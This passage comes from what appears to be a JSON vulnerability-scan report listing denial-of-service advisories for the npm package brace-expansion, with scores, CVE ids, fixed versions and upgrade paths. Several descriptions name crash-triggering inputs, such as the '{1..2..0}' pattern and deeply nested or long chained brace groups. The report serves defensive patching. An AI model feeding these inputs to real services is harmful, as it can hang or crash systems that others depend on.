"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
